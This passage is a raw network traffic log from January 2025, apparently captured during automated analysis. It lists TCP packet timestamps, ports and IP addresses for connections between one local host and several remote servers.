Jan 13, 2025 16:44:55.599343061 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.599359035 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.599410057 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.599416971 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.599458933 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.601043940 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.601058006 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.601104975 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.601109982 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.601138115 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.601150990 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.602628946 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.602642059 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.602694988 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.602699041 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.602739096 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.749716997 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.749733925 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.749785900 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.749797106 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.749885082 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.749967098 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.749984026 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.750036955 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.750041962 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.750080109 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.750343084 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.750355959 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.750402927 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.750407934 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.750428915 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.750448942 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.750735998 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.750749111 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.750793934 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.750798941 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.750830889 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.750845909 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.751308918 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.751329899 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.751395941 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.751395941 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.751404047 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.751445055 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.751579046 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.751593113 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.751632929 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.751636982 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.751662970 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.751673937 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.752079964 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.752094030 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.752125025 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.752130032 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.752151966 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.752176046 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.779851913 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.779872894 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.779918909 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.779927969 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.779957056 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.779970884 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.780638933 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.780654907 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.780710936 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.780715942 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.780754089 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.781596899 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.781610966 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.781678915 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.781687021 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.781867981 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.781872988 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.782598972 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.782618046 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.782670021 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.782675028 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.782795906 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.783549070 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.783560991 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.783612013 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.783616066 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.783768892 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.783824921 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.784146070 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:55.784216881 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.784606934 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.784621000 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.784677029 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.784681082 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.784852982 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.785507917 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.785522938 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.785564899 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.785568953 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.785595894 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.785608053 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.785659075 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.785712957 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:55.785990000 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:55.786072969 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.786248922 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:55.786258936 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.799571991 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.799812078 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.799873114 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.803411961 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.803550005 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.803838968 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.803924084 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.803951979 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.829335928 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.829350948 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.829436064 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.829441071 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.829483986 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.832750082 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:55.844820023 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.844880104 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.861500978 CET	49750	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:44:55.867417097 CET	80	49750	94.154.117.206	192.168.2.4
Jan 13, 2025 16:44:55.867513895 CET	49750	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:44:55.867645979 CET	49750	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:44:55.870716095 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.870729923 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.870801926 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.870806932 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.870887041 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.871227026 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.871241093 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.871321917 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.871326923 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.871385098 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.871875048 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.871887922 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.871920109 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.871948957 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.871953964 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.871973991 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.872394085 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.872414112 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.872467995 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.872473001 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.872801065 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.872814894 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.872853994 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.872858047 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.872880936 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.872888088 CET	80	49750	94.154.117.206	192.168.2.4
Jan 13, 2025 16:44:55.872901917 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.873347044 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.873361111 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.873414993 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.873419046 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.873784065 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.873802900 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.873864889 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.873871088 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.874320030 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.874547005 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.875291109 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:55.875355959 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.876255989 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.876336098 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:55.876619101 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:55.876676083 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.876748085 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:55.876768112 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.892044067 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.919578075 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.919598103 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.919645071 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.919657946 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.919682026 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.919698954 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.928847075 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:55.934453964 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:55.935331106 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:55.935343027 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:55.936074972 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:55.936418056 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:55.936418056 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:55.936471939 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:55.936518908 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:55.937073946 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.937205076 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.937279940 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:55.937292099 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.937349081 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.937412024 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:55.937431097 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.937520981 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.937608957 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.937678099 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:55.937694073 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.937781096 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.937836885 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:55.937850952 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.937901974 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:55.941566944 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.941653013 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.941700935 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.941768885 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.941791058 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.941848040 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:55.941862106 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:55.941879988 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.941881895 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.941946983 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.942006111 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.942024946 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.942123890 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.942181110 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.942194939 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.942250967 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.942261934 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.942353964 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.942406893 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.942420006 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.947556019 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.947634935 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.947649956 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:55.960716963 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.960747004 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.960805893 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.960823059 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.960851908 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.960863113 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.961412907 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.961436033 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.961474895 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.961481094 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.961498976 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.961518049 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.961796999 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.961817026 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.961844921 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.961849928 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.961880922 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.961889029 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.961963892 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.961988926 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.962021112 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.962025881 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.962047100 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.962064028 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.962663889 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.962685108 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.962723970 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.962729931 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.962759972 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.962784052 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.962863922 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.962888956 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.962920904 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.962925911 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.962946892 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.962965965 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.963435888 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.963459969 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.963495970 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.963500977 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:55.963531017 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.963548899 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:55.979516983 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.980684996 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.980722904 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.980748892 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.980748892 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:55.980797052 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.980835915 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:55.980859041 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.980885983 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.980920076 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.980931997 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:55.980952024 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.981005907 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:55.983330965 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:55.983381033 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.983431101 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:55.983443975 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.990421057 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:55.991336107 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:55.991344929 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:55.991517067 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:55.995413065 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:55.995476007 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:55.995490074 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.010049105 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.010071039 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.010148048 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.010154009 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.010581017 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.023668051 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:56.023849010 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:56.024082899 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:56.024178982 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:56.024256945 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:56.024398088 CET	49745	443	192.168.2.4	104.17.24.14
Jan 13, 2025 16:44:56.024441957 CET	443	49745	104.17.24.14	192.168.2.4
Jan 13, 2025 16:44:56.029002905 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.029373884 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.029411077 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.029555082 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.029619932 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.029668093 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.029736042 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.029798985 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.029911995 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.029927015 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.030209064 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.030247927 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.030282974 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.030296087 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.030309916 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.030360937 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.031148911 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.031208038 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.031214952 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.031229019 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.031281948 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.031295061 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.031347036 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.031446934 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.031459093 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.032202005 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.032241106 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.032258034 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.032270908 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.032324076 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.032335997 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.032351017 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.032411098 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.033415079 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.033469915 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.033574104 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.033591986 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.033719063 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.034394979 CET	49751	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.034419060 CET	443	49751	35.190.80.1	192.168.2.4
